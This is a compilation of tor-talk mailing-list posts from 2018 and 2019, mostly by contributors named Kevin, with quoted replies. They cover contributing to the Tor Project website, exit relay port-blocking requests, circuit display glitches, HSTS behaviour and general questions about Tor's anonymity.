Re: [tor-talk] tor project website change / contributing

[Kevin Simper]

I am really glad you like the post, it means a lot you wrote that!

If you want to help with the website you should reach out to the UX Team that 
you can find in the Trac wiki. 

> On 11 Apr 2019, at 10.19, entensai...@use.startmail.com wrote:
> 
> Dear all,
> 
> Sorry for not replying to a specific mail.
> I believe it is possible to extract valuable information from the comments on 
> this mailing list and I would like to help improve the website. So I have a 
> few questions:
> 
> Is there a specific group of people working on the website?
> How do you communicate and manage your work? (would that be the #tor-project 
> group on IRC?) How could I get in touch?
> 
> I believe this list may not be the best medium for feedback, is there a place 
> that would be more appropriate and suitable?
> (Where the feedback is actually going to be received by the team working on 
> the website.)
> 
> Did anyone extract and collect the valuable feedback from this mailing list 
> yet?
> 
> Thank you Kevin for creating the guide on contributing to Tor! That saves a 
> lot of time. :D
> 
> Thanks!
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Re: [tor-talk] Encrpytion Scheme in Tor

[Kevin Simper]

Hi Dawood

What did you find in your Google research that didn't answer it? 

> On 6 Apr 2019, at 08.20, Dawood Aijaz  wrote:
> 
> Can anyone tell me what encryption scheme is used in TOR and a little
> description encryption process in TOR
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Re: [tor-talk] tor project website change

[Kevin Simper]

You should submit a patch, that would be a great way to move the
conversation forward 
-Kevin


On Fri, Apr 5, 2019 at 1:34 PM Lee  wrote:

> On 4/5/19, Kevin Simper  wrote:
> > I think the website is good,
>
> If they'd fix the download link on
> https://www.torproject.org/download/ it would be a lot better.
>
> > I felt before that it left out newcomers that
> > didn't know what torbrowser was already, so much was going on that it
> would
> > confuse people that just have heard others mention tor browser and want
> to
> > check it out.
>
> It seems to me that newcomers are the ones that most need warnings
> instead of a blanket
>Protect yourself against tracking, surveillance, and censorship.
>
> but I don't see anything there about tbb not defaulting to a safer config
>   https://2019.www.torproject.org/docs/faq.html.en#TBBJavaScriptEnabled
>
> and is this still be an open problem?
>
> https://motherboard.vice.com/en_us/article/4x3qnj/how-the-nsa-or-anyone-else-can-crack-tors-anonymity
>
> But tor needs 'covering traffic' and .. what?  They don't want to
> scare people away?
>
> https://www.eff.org/deeplinks/2014/07/dear-nsa-privacy-fundamental-right-not-reasonable-suspicion
>
> > I think there is still space for more nerdy pages and I think anyone is
> > allowed to create such a page if they want +1
> >
> > The only thing I am missing is some call to actions for different parts
> of
> > the website when you have done scrolling to the bottom of the page 
>
> I'm missing a link for downloading tor.
>
> Regards,
> Lee
>
> >
> > -Kevin
> >
> >
> > On Thu, Apr 4, 2019 at 4:17 PM Lee  wrote:
> >
> >> On 4/3/19, blacklight...@tutanota.com 
> wrote:
> >> > Pretty sure this guy is just trolling and baiting at this point
> >>
> >> It looks more like frustration to me
> >> >> The last actual use case warning or disclaimer on torproject.org
> >> >> was removed by or on October 10 2010.
> >>
> >> Starting at  https://www.torproject.org/
> >>   Browse Privately.
> >>   - with no caveats.
> >>   BLOCK TRACKERS
> >>   - except they aren't actually blocked, just isolated.  right?
> >>   DEFEND AGAINST SURVEILLANCE
> >>   - I suspect tor is a better defense than using a vpn but still...
> >> with no warnings or caveats it seems a bit much.
> >>   RESIST FINGERPRINTING
> >>   - yay!  "Tor Browser aims to ..."  a reasonable claim.
> >>
> >> But wait!  There's more!!
> >>
> >> Click on the 'Download Tor Browser' link & go to
> >> https://www.torproject.org/download/
> >> Click on the 'Download Tor Browser' link on that page and get sent to
> >> "../download/" but that's where I was, so wtf?  Maybe I need
> >> javascript enabled??
> >>
> >> There's also a link for "Verify Tor Browser signature" but no link to
> >> the signature file.
> >>
> >> At least the "Download in another language" link gets me to a page
> >> where I can download tbb and the sig.  It doesn't show which version
> >> will be downloaded, but it does have working links, so it's infinitely
> >> better than the download page.
> >>
> >> Lee
> >>
> >>
> >> > Apr 3, 2019, 10:47 AM by grarp...@gmail.com:
> >> >
> >> >>> why adversaries should finance tor project and publicly it if they
> >> >>> have
> >> >>> a malicious intent?
> >> >>>
> >> >>
> >> >> Why do adversaries do that to their opponents?
> >> >> Because it's a simple and effective diversion operation.
> >> >> Nor is it dependant upon whether any "malicious intent".
> >> >> Adversaries often fund their opponents to keep them busy and happy
> >> >> even if opponent only a few steps tangent behind the race to actually
> >> >> being able to kill the adversary. It can work actively...
> >> >> "Here's a pile and stream of money to develop some useless
> >> >> or thing we want in an RFP / contract / grant / employee",
> >> >> or passively... "Hey, those guys seem to be going down useless
> >> >> paths, ok here's a bunch of money to keep them happily digging
> >> >> in those holes, LOL." Usually delivered by false fronts.
> >> >> See also "regulatory capture" type of concept. Also how nice
> >> &

Re: [tor-talk] My experience contributing to any Tor Project projects

[Kevin Simper]

Hi Georg

Thank you so much for your reply, yeah the Tor Project covers a lot and I
think that is both a blessing and a curse :-D

> I could write up my contributions over the years, from battling with
relays, UX research, training non-technical users, software porting and
patching... and it would be unique, just like yours.

I think it would be awesome to read your experience, shorter than mine is
probably better, about what is important to know to contribute to the parts
that you like in the Tor Project. Would you write such a post?

> The previous discussions on the new www site were utterly inappropriate.

Yeah the same about the previous, it can become easy to criticize and I
really didn't want to do it with this post, but more highlight how it feels
coming from some other projects that are way more centralized. The focus
should be how easy is it to make a change.

-Kevin


On Fri, Apr 5, 2019 at 11:45 AM George  wrote:

> Kevin Simper:
> > Hi Tor users and contributors
> >
> > I wrote down my thoughts about how to feels like getting started
> > contributing to the tor project.
> >
> > https://www.kevinsimper.dk/posts/how-to-contribute-to-the-tor-project
>
> Wow.
>
> >
> > Last year I did successfully submit a couple of changes to
> > support.torproject.org that is awesome to see deployed! But it was
> mostly
> > because of the awesome people on that team because everything else felt
> > like it worked against me making any contributions just because how
> pieces
> > of information are spread out.
> >
> > I will love to hear what you think! What triggered this what I was trying
> > to report a bug and again meet all the different systems, but I did
> manage
> > to create it https://trac.torproject.org/projects/tor/ticket/30042
> >
> > What my point is that I am not just hating and have tried my best to use
> > the systems before I talk about them, so my experience is authentic as
> > possible :)
>
> I think this is a great overview. I would love to see this linked somehow
> to a broader forum.
>
> Tor is a wide open software project with so many diverse and intricate
> parts.
>
> I could write up my contributions over the years, from battling with
> relays, UX research, training non-technical users, software porting and
> patching... and it would be unique, just like yours.
>
> The bigger point is this: Tor isn't some simple one-sided project.  There
> are a lot of moving parts.
>
> About the web site discussion, specifically:
>
> To be bluntly honest, I didn't participate in the new www site roll-out to
> any extent, and only just looked at it this morning. If I had any
> criticisms or comments, I would be doing it humbly, since I wasn't part of
> the process.
>
> Are there open source projects where that is not a valid dictum?
>
> Everyone should remember that when the snowballs of condemnation are
> accumulating.
>
> And remember, a lot of us volunteer a lot of free time to this project,
> and we appreciate how much others do also. The respect that TPO
> contributors get is well-earned.
>
> Speaking as someone on the TPO Community Council, contributing to a
> software project means contributions, not jumping onto an avalanche of
> criticisms. The previous discussions on the new www site were utterly
> inappropriate.
>
> g
>
>
> --
>
> 34A6 0A1F F8EF B465 866F F0C5 5D92 1FD1 ECF6 1682
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[tor-talk] My experience contributing to any Tor Project projects

[Kevin Simper]

Hi Tor users and contributors

I wrote down my thoughts about how to feels like getting started
contributing to the tor project.

https://www.kevinsimper.dk/posts/how-to-contribute-to-the-tor-project

Last year I did successfully submit a couple of changes to
support.torproject.org that is awesome to see deployed! But it was mostly
because of the awesome people on that team because everything else felt
like it worked against me making any contributions just because how pieces
of information are spread out.

I will love to hear what you think! What triggered this what I was trying
to report a bug and again meet all the different systems, but I did manage
to create it https://trac.torproject.org/projects/tor/ticket/30042

What my point is that I am not just hating and have tried my best to use
the systems before I talk about them, so my experience is authentic as
possible :)

-Kevin
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Re: [tor-talk] tor project website change

[Kevin Simper]

I think the website is good, I felt before that it left out newcomers that
didn't know what torbrowser was already, so much was going on that it would
confuse people that just have heard others mention tor browser and want to
check it out.

I think there is still space for more nerdy pages and I think anyone is
allowed to create such a page if they want +1

The only thing I am missing is some call to actions for different parts of
the website when you have done scrolling to the bottom of the page 

-Kevin


On Thu, Apr 4, 2019 at 4:17 PM Lee  wrote:

> On 4/3/19, blacklight...@tutanota.com  wrote:
> > Pretty sure this guy is just trolling and baiting at this point
>
> It looks more like frustration to me
> >> The last actual use case warning or disclaimer on torproject.org
> >> was removed by or on October 10 2010.
>
> Starting at  https://www.torproject.org/
>   Browse Privately.
>   - with no caveats.
>   BLOCK TRACKERS
>   - except they aren't actually blocked, just isolated.  right?
>   DEFEND AGAINST SURVEILLANCE
>   - I suspect tor is a better defense than using a vpn but still...
> with no warnings or caveats it seems a bit much.
>   RESIST FINGERPRINTING
>   - yay!  "Tor Browser aims to ..."  a reasonable claim.
>
> But wait!  There's more!!
>
> Click on the 'Download Tor Browser' link & go to
> https://www.torproject.org/download/
> Click on the 'Download Tor Browser' link on that page and get sent to
> "../download/" but that's where I was, so wtf?  Maybe I need
> javascript enabled??
>
> There's also a link for "Verify Tor Browser signature" but no link to
> the signature file.
>
> At least the "Download in another language" link gets me to a page
> where I can download tbb and the sig.  It doesn't show which version
> will be downloaded, but it does have working links, so it's infinitely
> better than the download page.
>
> Lee
>
>
> > Apr 3, 2019, 10:47 AM by grarp...@gmail.com:
> >
> >>> why adversaries should finance tor project and publicly it if they have
> >>> a malicious intent?
> >>>
> >>
> >> Why do adversaries do that to their opponents?
> >> Because it's a simple and effective diversion operation.
> >> Nor is it dependant upon whether any "malicious intent".
> >> Adversaries often fund their opponents to keep them busy and happy
> >> even if opponent only a few steps tangent behind the race to actually
> >> being able to kill the adversary. It can work actively...
> >> "Here's a pile and stream of money to develop some useless
> >> or thing we want in an RFP / contract / grant / employee",
> >> or passively... "Hey, those guys seem to be going down useless
> >> paths, ok here's a bunch of money to keep them happily digging
> >> in those holes, LOL." Usually delivered by false fronts.
> >> See also "regulatory capture" type of concept. Also how nice
> >> salaries and simple weight of self reinforcing mass inertia and
> >> groupthink over time can keep any one or group settled into the
> >> same thing, less dynamism, up to even not abandoning and starting
> >> out elsewhere due to simple risk aversion... "job food friends
> lifestyle."
> >>
> >>
> >> Is an entity, product, or network subject to whatever
> >> to some degree or other? Maybe, maybe not, others decide.
> >> Yet without talking about and analysing harder questions
> >> once in a while, especially as generations come and go,
> >> people might have less sense therein.
> >>
> >> If a site looks sexy it must be good, right?
> >> That's what at least marketers think, and it's perhaps good enough
> >> for browsing mundane TV news sites. Yet there's no frontpage
> >> splash disclaimer for others with more sensitive, vulnerable,
> >> or different use cases.
> >>
> >> Nor mention of Tor people hypocritically trying to censor ban
> >> nodes out of the consensus for, ironically, nothing more than
> >> excercising their right to free speech. Instead of say punting that
> >> out to meta analysis projects that users can choose to subscribe
> >> to as suits their own likes, support, and thinking therein.
> >>
> >> To be fair, no different than any other business (say ibm.com)
> >> or opensource project... finding much suitability disclaimer
> >> on anyone's pages, surely not without a good number of clicks,
> >> it's of less interest or natural to cover some potentially
> >> questionab

Re: [tor-talk] Getting Involved in the Tor Project

[Kevin]

Contributing on the mailing list is one way.  Spread the word, run a 
node, contribute to the mailing list, donating.  The list is endless really.



On 2/16/2019 5:47 PM, J.S. Evans wrote:

Hi all, I'd like to get some more information on volunteering with and in the 
Tor Project. The website seems to be heavily geared towards developer and 
running nodes. However I'm not a developer and I'm going to be running my own 
node soon.

There is a section on the website for volunteering with other things:
- Create a presentation that can be used for various user group meetings around 
the world.
- Create a video about the positive uses of Tor, what Tor is, or how to use it. 
Some have already started on Tor's Media server, Howcast, and YouTube.
- Create a poster around a theme, such as "Tor for Freedom!"
- Create a t-shirt design that incorporates "Congratulations! You are using 
Tor!" in any language.
- Spread the word about Tor at a symposium or conference and use these Tor 
brochures in PDF and ODG format and translated to at least ten different 
languages as conversation starter.

These are all nice things and I've done some of them, but that's me doing it on 
my own. How would I actually get involved in the Tor Project itself short of 
being hired as an employee?

Thanks,
Jason


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Re: [tor-talk] Issue accessing Onion v3 Services#

[Kevin Burress]

Thank you for your assistance.

On Sun, Jan 6, 2019, 11:20 AM Jonathan Marquardt  wrote:

> On Sun, Jan 06, 2019 at 05:22:56AM +0100, Nathaniel Suchy wrote:
> > I'm using the Tor Browser Bundle (v 8.0.4) on macOS to access the Tor
> > Network. I am able to access Onion v2 Services without an issue. I am
> unable
> > to access v3 Services at all. If it helps I requested bridges with the
> built
> > in "bridge fetcher" thing that asks for a captcha then gives you
> bridges. It
> > gave me obfs4 bridges. Clearweb and Onion v2 Services have no issues,
> it's
> > just Onion v3 Services that have the issue. Is this a known bug? Is
> there a
> > workaround?
>
> V3 onion services should work, regardless of whether you use bridges or
> not.
> Are you sure that you tested it with actually working onion services?
>
> For example, are you unable to access this URL:
>
> http://7fa6xlti5joarlmkuhjaifa47ukgcwz6tfndgax45ocyn4rixm632jid.onion/
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Re: [tor-talk] Abuse complaint 418289

[Kevin]

No need to be hostile I am trying to point out that perhaps there was a 
reason for them to make such a request of you.  Nothing is for no 
reason.  Do you have something to hide?



On 12/27/2018 3:55 PM, potlatch wrote:

Sorry, I thought the purpose of the Tor network was to provide anonymous communications 
to people--including ssh and email access.  When I first received the "request" 
I was a bit miffed that someone would tell me how to operate a VPS that I lease and 
correctly operate.  And there was no problem that generated the request--it came out of 
blue air.
So, thanks to you, I've learned my lesson:  "ALWAYS do what people ask of you."
By the way, do you operate Tor nodes or just spew morality at people?

Potlatch



Sent with ProtonMail Secure Email.

‐‐‐ Original Message ‐‐‐
On Thursday, December 27, 2018 7:33 AM, Kevin  wrote:


Let me answer your question with a question of my own.  Why would you
not just do the thing asked of you?  It seems to me they have a good
reason for making such a fare request.

On 12/26/2018 1:36 PM, potlatch wrote:


Good day Tor operators,
One of my VPS providers has requested that I block exit output to ports 22, 465 
and 576. I have never received a request like this before even though I have 
(now or in the past) operated almost 40 Tor exit relays in diverse countries. 
The host making this request is understanding and the service excellent. He 
sees these ports as generating the most abuse complaints.
Question: Is this a reasonable request and how much critical communications 
would be booted if I block these ports. I think my alternative to blocking as 
requested would be to close these accounts and find another host.
Please help,
Potlatch
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Re: [tor-talk] Abuse complaint 418289

[Kevin]

Let me answer your question with a question of my own.  Why would you 
not just do the thing asked of you?  It seems to me they have a good 
reason for making such a fare request.



On 12/26/2018 1:36 PM, potlatch wrote:

Good day Tor operators,
One of my VPS providers has requested that I block exit output to ports 22, 465 
and 576.  I have never received a request like this before even though I have 
(now or in the past) operated almost 40 Tor exit relays in diverse countries.  
The host making this request is understanding and the service excellent.  He 
sees these ports as generating the most abuse complaints.
Question:  Is this a reasonable request and how much critical communications 
would be booted if I block these ports.  I think my alternative to blocking as 
requested would be to close these accounts and find another host.
Please help,
Potlatch

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Re: [tor-talk] "Tor Circuit" list in TBB displaying incorrect exit node and IP address

[Kevin Burress]

Also try listing the nodes by fingerprint.

https://www.torproject.org/docs/tor-manual.html.en

On Sun, Dec 23, 2018 at 11:46 AM Kevin Burress 
wrote:

> devochka?
>
> I'm not sure why that would be an issue when using StrictNodes 1 with
> ExitNodes. It would be interesting to make a list of any nodes that are
> exibiting the wrong behavior and exclude them with ExcludeNodes.
>
> On Sun, Dec 23, 2018 at 10:16 AM  wrote:
>
>> I have noticed that the "Tor Circuit" list in Tor Browser sometimes shows
>> an incorrect IP (and location) when connected to specific web sites.
>>
>> I used "StrictNodes 1" in torrc and selected the exit
>> "PrivacyRepublic0001" which is based in France and has an IP address of
>> 178.32.181.96.
>>
>> Usually when I checked the "Tor Circuit", the correct 178.32.181.96 is
>> shown. However, sometimes it showed a different IP of 179.43.168.166
>> (Switzerland), 192.42.113.102 (Netherlands), and 109.70.100.11 (Austria).
>>
>> 179.43.168.166 is "mccowan", 192.42.113.102 is "Spigen", and 109.70.100.11
>> is "karfiol". None of these are exit nodes.
>>
>> The odd behavior only happens with certain sites:
>> https://bitcointalk.org/, https://www.cato.org/,
>> https://www.whatismyip.com/ (for example - there must be many more)
>>
>> It does not happen with Google, Gmail, Amazon, Alexa, Yahoo, CNN, BBC,
>> etc.
>>
>> This is nothing to do with any specific exit node. I've tried it with
>> others. For some reason, on a minority of sites, the correct exit node
>> does not show in "Tor Circuits" and, in its place, a non-exit node is
>> shown.
>>
>> Is this a known bug? Or something problematic with certain sites? Why are
>> these sites different?
>>
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Re: [tor-talk] "Tor Circuit" list in TBB displaying incorrect exit node and IP address

[Kevin Burress]

devochka?

I'm not sure why that would be an issue when using StrictNodes 1 with
ExitNodes. It would be interesting to make a list of any nodes that are
exibiting the wrong behavior and exclude them with ExcludeNodes.

On Sun, Dec 23, 2018 at 10:16 AM  wrote:

> I have noticed that the "Tor Circuit" list in Tor Browser sometimes shows
> an incorrect IP (and location) when connected to specific web sites.
>
> I used "StrictNodes 1" in torrc and selected the exit
> "PrivacyRepublic0001" which is based in France and has an IP address of
> 178.32.181.96.
>
> Usually when I checked the "Tor Circuit", the correct 178.32.181.96 is
> shown. However, sometimes it showed a different IP of 179.43.168.166
> (Switzerland), 192.42.113.102 (Netherlands), and 109.70.100.11 (Austria).
>
> 179.43.168.166 is "mccowan", 192.42.113.102 is "Spigen", and 109.70.100.11
> is "karfiol". None of these are exit nodes.
>
> The odd behavior only happens with certain sites:
> https://bitcointalk.org/, https://www.cato.org/,
> https://www.whatismyip.com/ (for example - there must be many more)
>
> It does not happen with Google, Gmail, Amazon, Alexa, Yahoo, CNN, BBC, etc.
>
> This is nothing to do with any specific exit node. I've tried it with
> others. For some reason, on a minority of sites, the correct exit node
> does not show in "Tor Circuits" and, in its place, a non-exit node is
> shown.
>
> Is this a known bug? Or something problematic with certain sites? Why are
> these sites different?
>
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Re: [tor-talk] circpathbias.c : Your Guard vs The Guard

[Kevin Burress]

Guard %s ...

On Tue, Dec 18, 2018, 3:42 AM Roman Mamedov  wrote:

> On Tue, 18 Dec 2018 10:18:55 +0200
> Lars Noodén  wrote:
>
> > On 12/18/18 10:07 AM, Kevin Burress wrote:
> > > How about "A Guard"
> > Yes, "A guard" would also reduce the potential for confusion, and it's
> > even shorter.  The log error should clearly convey the information of
> > whose guard is being noted.
> >
> > The phrase "Your guard" very strongly suggests that the user is
> > responsible for the guard in question and different but still concise
> > wording is needed.
>
> It does not. If you look back to the original string, it also always
> includes
> the guard name right after that. If that name is unfamiliar to you, then
> how
> can you assume that this must be something that you have thought up,
> created or
> are responsible for. Only if you have too much free time and specifically
> look
> for things to be "confused" about.
>
> Moreover, if you know a few basic things about Tor, you would know what a
> Guard is and what's their place and role in your connection to the Tor
> network.
> And knowing at least the basic things about Tor is certainly a good idea
> before starting to use it.
>
> --
> With respect,
> Roman
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Re: [tor-talk] circpathbias.c : Your Guard vs The Guard

[Kevin Burress]

How about "A Guard"

On Tue, Dec 18, 2018, 2:29 AM Jim  wrote:

> >> perhaps the string
> >> ought to read "The Guard" instead of "Your Guard".
> >
> > Many projects prefer bad strings perpetuate
> > legacy than fix them for future.
>
>
> It is not clear to me that "The Guard" is preferable to "Your Guard".  I
> think the clearest wording would be "the guard you are using" but people
> might not want that verbose of wording, particularly on a message that
> might get used frequently.
>
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Re: [tor-talk] Node Down and Old Version Notifications

[Kevin Gallagher]

Interesting! My node never got any of these notifications. I wonder why 
that is. I'll check this out!


Thanks,

Kevin

On 12/17/18 4:02 PM, Chris Dagdigian wrote:

I think someone else is already doing this -- at least for down nodes

I run a small exit node and when the box gets OOM and hangs I get an 
email with the subject: "[Tor Weather] Node Down!"


And that has a URL about the maintainer and code:

The original Tor Weather was decommissioned by the Tor project and 
this replacement is now maintained independently. You can learn more here:

https://github.com/thingless/torweather/blob/master/README.md





Kevin Gallagher <mailto:kcg...@nyu.edu>
December 17, 2018 at 3:58 PM
Hello everyone,

The other day I got a really helpful e-mail. It seems a person named 
Paul wrote a program to check the PGP key servers and e-mail people 
to let them know that their keys are about to expire. After updating 
my key I thought about how an approach like this on the Tor consensus 
could be used to notify people when their Tor node goes down, or when 
their version of Tor is out of date and therefore their node becomes 
"not recommended."


Though such a tool might be useful, I wonder if it is in the spirit 
of Tor. I know that a lot of people obfuscate their e-mail when 
running a Tor node (using AT instead of @, etc.), and I'm sure part 
of the reason this is being done is because they don't want to be 
contacted by bots. However, maybe they would want to be notified if 
their node went down or was out of date.


Are there any thoughts on whether or not a tool like this is a good 
idea? If people think it's in the spirit of Tor I'm willing to sit 
down and try to write it up.


Thanks,

Kevin




--
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Ph.D. Candidate
Center For Cybersecurity
NYU Tandon School of Engineering
Key Fingerprint: D02B 25CB 0F7D E276 06C3  BF08 53E4 C50F 8247 4861

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[tor-talk] Node Down and Old Version Notifications

[Kevin Gallagher]

Hello everyone,

The other day I got a really helpful e-mail. It seems a person named 
Paul wrote a program to check the PGP key servers and e-mail people to 
let them know that their keys are about to expire. After updating my key 
I thought about how an approach like this on the Tor consensus could be 
used to notify people when their Tor node goes down, or when their 
version of Tor is out of date and therefore their node becomes "not 
recommended."


Though such a tool might be useful, I wonder if it is in the spirit of 
Tor. I know that a lot of people obfuscate their e-mail when running a 
Tor node (using AT instead of @, etc.), and I'm sure part of the reason 
this is being done is because they don't want to be contacted by bots. 
However, maybe they would want to be notified if their node went down or 
was out of date.


Are there any thoughts on whether or not a tool like this is a good 
idea? If people think it's in the spirit of Tor I'm willing to sit down 
and try to write it up.


Thanks,

Kevin

--
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Ph.D. Candidate
Center For Cybersecurity
NYU Tandon School of Engineering
Key Fingerprint: D02B 25CB 0F7D E276 06C3  BF08 53E4 C50F 8247 4861

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Re: [tor-talk] Tor security

[Kevin Burress]

Yeah.. the concern here is that it's so feasible now that an attacker can
correlate packet timing with a smaller portion of nodes and with the advent
of high speed internet I think it would be beneficial for people who would
like to adjust settings on their routing as such to be able to.

On Mon, Dec 10, 2018, 10:50 AM Gunnar Wolf  wrote:

> Kevin Burress dijo [Mon, Dec 10, 2018 at 10:21:22AM -0500]:
> > I just have to check, is tor secure yet?
> >
> > I was thinking it might be more secure with these AI based timing attacks
> > now if the number of hops is more adjustable. Although I would like to
> see
> > a means of negotiating a layer between a hidden service or exit node
> using
> > multiple connections in rendezvous as well, splitting data up in both
> > directions between multiple tunnels that could be specified and juggled
> in
> > and out of queue at random..
>
> Do you think perfect security, perfect anonymity, perfect privacy will
> ever be achieved?
>
> It is *more* secure, and particularly *more* anonymous and *more*
> private than not using it.
>
> What you suggest is closer to the original David Chaum idea of
> anonymous mail exchangers by using mixing networks (1981,
> https://www.chaum.com/publications/chaum-mix.pdf) or more recent
> implementations, such as Katzenpost
> (https://katzenpost.mixnetworks.org/).
>
> This, however, fares very poorly for today's internet users' use cases
> — Mix networks are great for protocols such as mail delivery (SMTP),
> because they are not time sensitive. You will likely not care if your
> mail gets through immediately or it is delayed by five
> minutes. Greylisting already imposes such minimum delays in many
> cases.
>
> Network browsing, remotely logging in to administer a system, having a
> videoconference... Those activities are *very* latency- and
> jitter-sensitive and, as such... Cannot really escape from traffic
> analysis by an adversary *who controls enough of the network*. And
> that's closer to Tor's model.
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Re: [tor-talk] Streaming Videos VS Downloading Videos

[Kevin Simper]

If you can download the files with a slower speed, it would be better if
you are watching the whole video.

If you only watch part of it then streaming would be better.

Just my intuition.

-Kevin


On Tue, Dec 11, 2018 at 10:11 AM bo0od  wrote:

> We had discussions about which one is safer and add less loads on Tor
> nodes , streaming the video or downloading the video and watching it?
>
> Thank You!
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[tor-talk] Tor security

[Kevin Burress]

I just have to check, is tor secure yet?

I was thinking it might be more secure with these AI based timing attacks
now if the number of hops is more adjustable. Although I would like to see
a means of negotiating a layer between a hidden service or exit node using
multiple connections in rendezvous as well, splitting data up in both
directions between multiple tunnels that could be specified and juggled in
and out of queue at random..

Let me know if this helps.

Thanks,
Geb
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Re: [tor-talk] Tor Browser evolution mysteries

[Kevin Burress]

>> On Sat, Nov 10, 2018 at 01:22:00PM +, anan wrote:
>>> How come I have now the same IP address on every tab?
>>
>> Circuit isolation is not per tab, but per site.
>>

>Wow, that's even better!

I would rather have circuit isolation per tab.

On Sun, Nov 11, 2018 at 1:44 PM anan  wrote:

>
>
> Jonathan Marquardt:
> > On Sat, Nov 10, 2018 at 01:22:00PM +, anan wrote:
> >> How come I have now the same IP address on every tab?
> >
> > Circuit isolation is not per tab, but per site.
> >
>
> Wow, that's even better!
>
>
> > For example, open two tabs, one with https://ipchicken.com/ and one
> with
> > https://wtfismyip.com/. The circuits should differ.
> >
> >> How come the new-cicuit button is not there anymore?
> >>
> >> I am also curious to know why the list of the three nodes being used per
> >> circuit is not shown anymore.
> >
> > In the address bar, click the "i" symbol or the lock or the onion symbol
> > (depending on what kind of site you're on). You should see your
> circuit's
> > nodes as well as a button that lets you create a new circuit.
> >
>
> Excellent. Thank you very much!!
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Re: [tor-talk] Tor on the International Space Station?

[Kevin]

I know that what Nasa uses is space to ground networking.  I am sure it 
would work.  We need to keep in mind that there is a time delay from 
space to earth so somebody up there running a relay may throw off the 
tor network a bit.




On 9/28/2018 10:01 AM, Nathaniel Suchy wrote:

Hi everyone,

Do we know if anyone has ever connected to the Tor Network from the
International Space Station? This would be a really interesting data point
to have / know about. Does NASA use their own ASN for the station or
something else? I know people there can use Twitter so Tor would probably
work?

Cordially,
Nathaniel Suchy



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Re: [tor-talk] HSTS forbids "Add an exception" (also, does request URI leak?)

[Kevin Flowers]

Have you thought about running your own email server. 

-Original Message-
From: tor-talk [mailto:tor-talk-boun...@lists.torproject.org] On Behalf Of Need 
Secure Mail
Sent: Wednesday, August 8, 2018 12:28 PM
To: tor-talk@lists.torproject.org
Subject: Re: [tor-talk] HSTS forbids "Add an exception" (also, does request URI 
leak?)

On August 8, 2018 1:57 PM, Matthew Finkel  wrote:

> Right. This is the recommendation in the RFC [0]. It would be 
> counter-productive if the webserver informed the browser that the 
> website should only be loaded over a secure connection, and then the 
> user was given the option of ignore that. That would completely defeat 
> the purpose of HSTS.
>
> [0] https://tools.ietf.org/html/rfc6797#page-30
> Section 12.1

Thanks, I was already quite familiar with the RFC. I know its rationale.

But it is an absolute rule that *I* get the final word on what my machine does. 
That is why I run open-source software, after all. I understand that most users 
essentially must be protected from their own bad decisions when faced with 
clickthrough warnings. I have read the pertinent research. It's fine that the 
easy-clickthrough GUI button is removed by HSTS. However, if *I* desire to 
"completely defeat the purpose of HSTS", then I shall do so, and my user-agent 
shall obey me. I understand exactly how HSTS works, and I know the implications 
of overriding it.

>> This error made me realize that Tor Browser/Firefox must load at 
>> least the response HTTP headers before displaying the certificate 
>> error message. I did not realize this! I reasonably assumed that it 
>> had simply refused to complete the TLS handshake. No TLS connection, no way 
>> to know about HSTS.
>
> Why? There are three(?) options here:
>
> 1) The domain is preloaded in the browser's STS list, so it knows 
> ahead of time if that site should only use TLS or not.

Although I did not check the browser's preload list, I have observed this on a 
relatively obscure domain very unlikely to be on it...

> 2) The domain is not in the preloaded list, so the browser learns 
> about the website setting HSTS on its first successful TLS connection 
> and HTTP request.

...as to which I had never yet successfully made a TLS connection in that 
temporary VM, with a fresh Tor Browser instance which had never before visited 
*any* sites...

> 3) The user previously loaded the site and the browser cached a STS 
> value for that domain.

...and thus of course, could not save anything from previous loads of the site. 
My whole browsing setup is amnesiac. I literally use a new VM with "new" Tor 
Browser installation for each and every browsing session. No cached STS value!

>> Scary. How much does Tor Browser actually load over an 
>> *unauthenticated* connection? Most importantly, I am curious, does it 
>> leak the request URI path (including query string parameters) this 
>> way? Or does it do something like a `HEAD /` to specifically check 
>> for HSTS? No request headers, no response headers, no way to know 
>> about HSTS. Spies running sslstrip may be interested in that.
>
> No? This was one of the main goals of HSTS. It should prevent SSL 
> stripping (for some definitions of prevent).

Key phrase: "for some definitions of prevent".

Inductive reasoning: For a site not in the STS preload list and never before 
visited, the only means for the user-agent to know about STS is to receive an 
HTTP response header. The only means to receive an HTTP response header, is to 
send HTTP request headers. Assume that the browser does not make an HTTP 
request. How does it know that the site uses STS?

The HTTP request headers themselves may be useful to spies. Without the request 
headers, a network evesdropper only knows the hostname of the request (via SNI, 
RFC 6066). With the request headers:

0. The request path informs the evesdropper about which news articles I am 
reading on www.newspaper.dom, which people I communicate with on 
www.socialmedia.dom, etc.

1. Query string parameters, if any, are exposed. On many sites, this can be a 
severe privacy problem. On some (badly-designed) sites, it can also be a 
security issue.

2. Some browser fingerprint information is exposed. This is a lesser issue with 
Tor Browser requests from a Tor exit; any tcp/443 traffic from a Tor exit can 
be presumed Tor Browser unless demonstrated otherwise. However, the principle 
with TLS should be: Do not expose anything on the network which is not exposed 
by TLS itself (or lower network layers).

The most sensitive information is the request path. If the user-agent wishes to 
ascertain HSTS status upon a certificate validation error, it could perform a 
fake `HEAD /` request as I suggested upthread; indeed, it is only means of 
receiving an HSTS response header without potentially leaking the request path 
to an sslstripper. I do not know if Tor Browser already does this, and have not 
checked too carefully. I did glance back through RFC 6797's 

Re: [tor-talk] How do tor users get past the recapacha and it's super short 2min exemption

[Kevin Burress]

Consider using a vpn to connect to from tor. Consider paying in crypto.
Consider ssh tunneling on port 443 for convenience and interoperability or
use a hidden service. Consider that they are doing it on purpose.

On Wed, Jul 18, 2018, 1:10 AM grarpamp  wrote:

> Just now, to simply load the frontpage and therein *read* a site...
> 120 clicks across 23 captcha screens... and still denied, twice.
> Hey Google, Cloudflare, and Sites... go fuck yourselves.
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Re: [tor-talk] Stanford Liberationtech Needs Your Help

[Kevin Simper]

Hi Yosem 

That sounds pretty interesting!

How many people are working in the unit?

> On 14 Jun 2018, at 21.19, Yosem Companys  wrote:
> 
> Hi All,
> 
> The Program on Liberation Technologies at Stanford University (LT)
>  has been going strong since circa
> 2006. Since then, LT has helped thousands design, use, and research
> technologies that foster the public good.
> 
> Recently, the decision was made to spin off LT as an independent entity.
> I'm one of the people tasked with doing so. Here are LT's major needs:
> 
>   - Recruit people to develop a new website, logo, and graphics.
>   - Identify a legal jurisdiction with strong security and privacy laws
>   and regulations and a server provider with a stellar reputation at
>   protecting user security and privacy to host the site.
>   - Determine whether to maintain LT's mailing lists on Mailman
>    or to
>   transition them to a content management system (e.g., Discourse.org).
>   - Assess the best legal structure for LT (e.g., digital cooperative).
> 
